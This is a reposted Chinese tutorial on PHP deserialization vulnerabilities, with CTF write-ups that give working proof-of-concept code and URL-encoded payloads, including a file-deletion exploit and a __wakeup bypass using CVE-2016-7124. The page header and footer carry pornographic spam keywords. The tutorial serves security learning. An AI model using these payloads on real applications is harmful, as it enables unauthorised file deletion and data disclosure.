国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

PHP反序列化漏洞的理解和應用

發(fā)布時(shí)間:2021-09-27 17:30 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全 歡迎投稿:712375056

這篇文章主要講解了“PHP反序列化漏洞的理解和應用”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“PHP反序列化漏洞的理解和應用”吧!

01學(xué)習前最好提前掌握的知識

  • PHP類(lèi)與對象(https://www.php.net/manual/zh/language.oop5.php)

  • PHP魔術(shù)方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

  • serialize()

(http://php.net/manual/zh/function.serialize.php)

與unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化與反序列化

PHP (從 PHP 3.05 開(kāi)始)為保存對象提供了一組序列化和反序列化的函數:serialize、unserialize。

serialize()

當我們在php中創(chuàng )建了一個(gè)對象后,可以通過(guò)serialize()把這個(gè)對象轉變成一個(gè)字符串,用于保存對象的值方便之后的傳遞與使用。測試代碼如下;

<?php

class people

{

   public $name = "f1r3K0";

 public $age = '18';

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

?>                                       

測試結果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意這里的括號外邊的為大寫(xiě)英文字母 O
  • 下面是字母代表的類(lèi)型 a - array 數組 b - boolean布爾型 d - double雙精度型 i - integer o - common object一般對象 r - reference s - string C - custom object 自定義對象 O - class N - null R - pointer reference U - unicode string unicode編碼的字符串

unserialize()

與 serialize() 對應的,unserialize()可以從序列化后的結果中恢復對象(object),我們翻閱PHP手冊發(fā)現官方給出的是:unserialize — 從已存儲的表示中創(chuàng )建 PHP 的值。

我們可以直接把之前序列化的對象反序列化回來(lái)來(lái)測試函數,如下:

<?php

class people

{

   public $name = "f1r3K0";

   public $age = '18';

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse r);

?>

提醒一下,當使用 unserialize() 恢復對象時(shí), 將調用 __wakeup() 成員函數。(先埋個(gè)伏筆,這個(gè)點(diǎn)后面會(huì )提)

03反序列化漏洞

由前面可以看出,當傳給 unserialize() 的參數可控時(shí),我們可以通過(guò)傳入一個(gè)"精心”構造的序列化字符串,從而控制對象內部的變量甚至是函數。

利用構造函數等

Magic function

php中有一類(lèi)特殊的方法叫“Magic function”,就是我們常說(shuō)的"魔術(shù)方法" 這里我們著(zhù)重關(guān)注一下幾個(gè):

  • __construct():構造函數,當對象創(chuàng )建(new)時(shí)會(huì )自動(dòng)調用。但在unserialize()時(shí)是不會(huì )自動(dòng)調用的。

  • __destruct():析構函數,類(lèi)似于C++。會(huì )在到某個(gè)對象的所有引用都被刪除或者當對象被顯式銷(xiāo)毀時(shí)執行,當對象被銷(xiāo)毀時(shí)會(huì )自動(dòng)調用。

  • __wakeup():如前所提,unserialize()時(shí)會(huì )檢查是否存在 __wakeup(),如果存在,則會(huì )優(yōu)先調用 __wakeup()方法。

  • __toString():用于處理一個(gè)類(lèi)被當成字符串時(shí)應怎樣回應,因此當一個(gè)對象被當作一個(gè)字符串時(shí)就會(huì )調用。

  • __sleep():用于提交未提交的數據,或類(lèi)似的清理操作,因此當一個(gè)對象被序列化的時(shí)候被調用。

測試如下:

<?php

class people

{

   public $name = "f1r3K0";

   public $age = '18';

   function __wakeup()

   {

       echo "__wakeup()";

   }

   function __construct()

   {

       echo "__consrtuct()";

   }

   function __destruct()

   {

       echo "__destruct()";

   }

   function __toString()

   {

       echo "__toString";

   }

   /*function __sleep()

   {

       echo "__sleep";

   }*/

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

結果如下:

從運行結果來(lái)看,我們可以看出unserialize函數是優(yōu)先調用"__wakeup()"再進(jìn)行的反序列化字符串。同時(shí),對于其他方法的調用順序也一目了然了。(注意:這里我將sleep注釋掉了,因為sleep會(huì )在序列化的時(shí)候調用,因此執行sleep方法就不會(huì )再執行序列以及之后的操作了。)

利用場(chǎng)景

__wakeup()和destruct()

由前可以看到,unserialize()后會(huì )導致wakeup() 或destruct()的直接調用,中間無(wú)需其他過(guò)程。因此最理想的情況就是一些漏洞/危害代碼在wakeup() 或destruct()中,從而當我們控制序列化字符串時(shí)可以去直接觸發(fā)它們。我們這里直接使用參考文章的例子,代碼如下:

//logfile.php 刪除臨時(shí)日志文件

<?php

class LogFile {

   //log文件名

   public $filename = 'error.log';

   //存儲日志文件

   public function LogData($text) {

       echo 'Log some data:' . $text . '<br />';

       file_put_contents($this->filename, $text, FILE_APPEND);

   }

   //Destructor刪除日志文件

   public function __destruct() {

       echo '__destruct delete' . $this->filename . 'file.<br />';

       unlink(dirname(__FILE__) . '/' . $this->filename); //刪除當前目錄下的filename這個(gè)文件

   }

}

?>

//包含了’logfile.php’的主頁(yè)面文件index.php

<?phpinclude 'logfile.php';

class User {

   //屬性

   public $age = 0;

   public $name = '';

   //調用函數來(lái)輸出類(lèi)中屬性

   public function PrintData() {

       echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';

   }

}

$usr = unserialize($_GET['user']);

?>

梳理下這2個(gè)php文件的功能,index.php是一個(gè)有php序列化漏洞的主業(yè)文件,logfile.php的功能就是在臨時(shí)日志文件被記錄了之后調用 __destruct方法來(lái)刪除臨時(shí)日志的一個(gè)php文件。 這個(gè)代碼寫(xiě)的有點(diǎn)邏輯漏洞的感覺(jué),利用這個(gè)漏洞的方式就是,通過(guò)構造能夠刪除source.txt的序列化字符串,然后get方式傳入被反序列化函數,反序列化為對象,對象銷(xiāo)毀后調用__destruct()來(lái)刪除source.txt.

漏洞利用exp

  1. <?php

  2. include 'logfile.php';

  3. $obj = new LogFile();

  4. $obj->filename = 'source.txt'; //source.txt為你想刪除的文件

  5. echo serialize($obj) . '<br />';

  6. ?>

這里我們通過(guò)['GET']傳入序列化字符串,調用反序列化函數來(lái)刪除想要刪除的文件。

之前還看到過(guò)一個(gè)wakeup()非常有意思的例子,這里直接上鏈接了

chybeta淺談PHP反序列化 https://chybeta.github.io/2017/06/17/淺談php反序列化漏洞/

04其它magic function的利用

這里我就結合PCTF和今年國賽上的題來(lái)分析了

PCTF

題目鏈接:(http://web.jarvisoj.com:32768/index.php)

  • 前面幾步都是很常見(jiàn)的讀文件源碼

    這里直接放出給的兩個(gè)源碼

  1. //index.php

  2. <?php

  3.    require_once('shield.php');

  4.    $x = new Shield();

  5.    isset($_GET['class']) && $g = $_GET['class'];

  6.    if (!empty($g)) {

  7.        $x = unserialize($g);

  8.    }

  9.    echo $x->readfile();

  10. ?>

上邊index.php提示了包含的shield.php所以說(shuō)直接構造base64就完事了

  1. //shield.php

  2. <?php

  3.    //flag is in pctf.php

  4.    class Shield {

  5.        public $file;

  6.        function __construct($filename = '') {

  7.            $this -> file = $filename;

  8.        }

  9.        function readfile() {

  10.            if (!empty($this->file) && stripos($this->file,'..')===FALSE  

  11.            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

  12.                return @file_get_contents($this->file);

  13.            }

  14.        }

  15.    }

index.php 1.包含了一個(gè)shield.php 2.實(shí)例化了Shiele方法 3.通過(guò)[GET]接收了用戶(hù)反序列化的內容,輸出了readfile()方法

shield.php 1.首先就能發(fā)現file是可控的(利用點(diǎn)) 2.construct()在index中實(shí)例化的時(shí)候就已經(jīng)執行了,因此不會(huì )影響我們對可控$file的利用。

構造poc

  1. <?php

  2.    class Shield

  3.    {

  4.        public $file = "pctf.php";

  5.    }

  6.    $flag = new Shield();

  7.    print_r(serialize($flag));

  8. ?>最終poc:


最終POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso
  1. //index.php

  2. <html>

  3. <?php

  4. error_reporting(0);

  5. $file = $_GET["file"];

  6. $payload = $_GET["payload"];

  7. if(!isset($file)){

  8.    echo 'Missing parameter'.'<br>';

  9. }

  10. if(preg_match("/flag/",$file)){

  11.    die('hack attacked!!!');

  12. }

  13. @include($file);

  14. if(isset($payload)){  

  15.    $url = parse_url($_SERVER['REQUEST_URI']);

  16.    parse_str($url['query'],$query);

  17.    foreach($query as $value){

  18.        if (preg_match("/flag/",$value)) {

  19.            die('stop hacking!');

  20.            exit();

  21.        }

  22.    }

  23.    $payload = unserialize($payload);

  24. }else{

  25.   echo "Missing parameters";

  26. }

  27. ?>

  28. <!--Please test index.php?file=xxx.php -->

  29. <!--Please get the source of hint.php-->

  30. </html>

  1. <?php

  2. class Handle{

  3.    private $handle;  

  4.    public function __wakeup(){

  5.        foreach(get_object_vars($this) as $k => $v) {

  6.            $this->$k = null;

  7.        }

  8.        echo "Waking up\n";

  9.    }

  10.    public function __construct($handle) {

  11.        $this->handle = $handle;

  12.    }

  13.    public function __destruct(){

  14.        $this->handle->getFlag();

  15.    }

  16. }

  17. class Flag{

  18.    public $file;

  19.    public $token;

  20.    public $token_flag;

  21.    function __construct($file){

  22.        $this->file = $file;

  23.        $this->token_flag=&$this->token;

  24.    }

  25.    public function getFlag(){

  26.        $this->token_flag = md5(rand(1,10000));

  27.        if($this->token === $this->token_flag)

  28.        {

  29.            if(isset($this->file)){

  30.                echo @highlight_file($this->file,true);

  31.            }  

  32.        }

  33.    }

  34. }

其實(shí)剛開(kāi)始做的時(shí)候是很懵逼了,一直在糾結爆破md5上邊。22233333

1.首先我們需要繞的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失敗,這樣就可以在payload里出現flag,這里應該n1ctf的web eating cms的繞過(guò)方式,添加 ///index.php繞過(guò)。

2.接下來(lái)就是需要我們繞過(guò)wakeup()里的將$k賦值為空的操作,這里用到的是一枚cve 當成員屬性數目大于實(shí)際數目時(shí)可繞過(guò)wakeup方法(CVE-2016-7124)

3.繞md5這里用到了PHP中引用變量的知識

https://blog.csdn.net/qq_33156633/article/details/79936487

簡(jiǎn)單來(lái)說(shuō)就是,當兩個(gè)變量指向同一地址時(shí),例如: $b=&$a,這里的 $b指向的是 $a的區域,這樣b就隨著(zhù)a變化而變化,同樣的原理,我們在第二步序列化時(shí)加上這一步

  1. $b = new Flag("flag.php");

  2. $b->token=&$b->token_flag;

  3. $a = new Handle($b);

這樣最后的token就和token_flag保持一致了。

最后的POC

  1. <?php

  2. class Handle

  3. {      

  4.    private $handle;        

  5.    public function __wakeup()

  6.    {

  7.            foreach(get_object_vars($this) as $k => $v)

  8.        {

  9.                $this->$k = null;        

  10.            }          

  11.            echo "Waking upn";      

  12.    }

  13.    public function __construct($handle)

  14.    {          

  15.        $this->handle = $handle;      

  16.    }    

  17.    public function __destruct()

  18.    {    

  19.        $this->handle->getFlag();  

  20.    }  

  21. }    

  22. class Flag

  23. {      

  24.    public $file;      

  25.    public $token;      

  26.    public $token_flag;        

  27.    function __construct($file)

  28.    {    

  29.        $this->file = $file;    

  30.        $this->token_flag = $this->token = md5(rand(1,10000));      

  31.    }        

  32.    public function getFlag()

  33.    {      

  34.        if(isset($this->file))

  35.    {      

  36.            echo @highlight_file($this->file,true);              

  37.        }            

  38.    }  

  39. }

  40. $b = new Flag("flag.php");

  41. $b->token=&$b->token_flag;

  42. $a = new Handle($b);

  43. echo(serialize($a));

  44. ?>



這里還有一個(gè)點(diǎn)就是我們需要用%00來(lái)補全空缺的字符,又因為含有private 變量,需要 encode 一下。

最終payload:

file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成員方法

前面談到的利用都是基于“自動(dòng)調用”的magic function。但當漏洞/危險代碼存在類(lèi)的普通方法中,就不能指望通過(guò)“自動(dòng)調用”來(lái)達到目的了。這時(shí)我們需要去尋找相同的函數名,把敏感函數和類(lèi)聯(lián)系在一起。一般來(lái)說(shuō)在代碼審計的時(shí)候我們都要盯緊這些敏感函數的,層層遞進(jìn),最終去構造出一個(gè)有殺傷力的payload。

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。

php
欧美性狂猛AAAAAA| 午夜精品久久久久久毛片| 色AV综合AV综合无码网站| 精品一区二区三区自拍图片区| 色婷婷五月综合激情中文字幕| 国模丰满少妇私拍|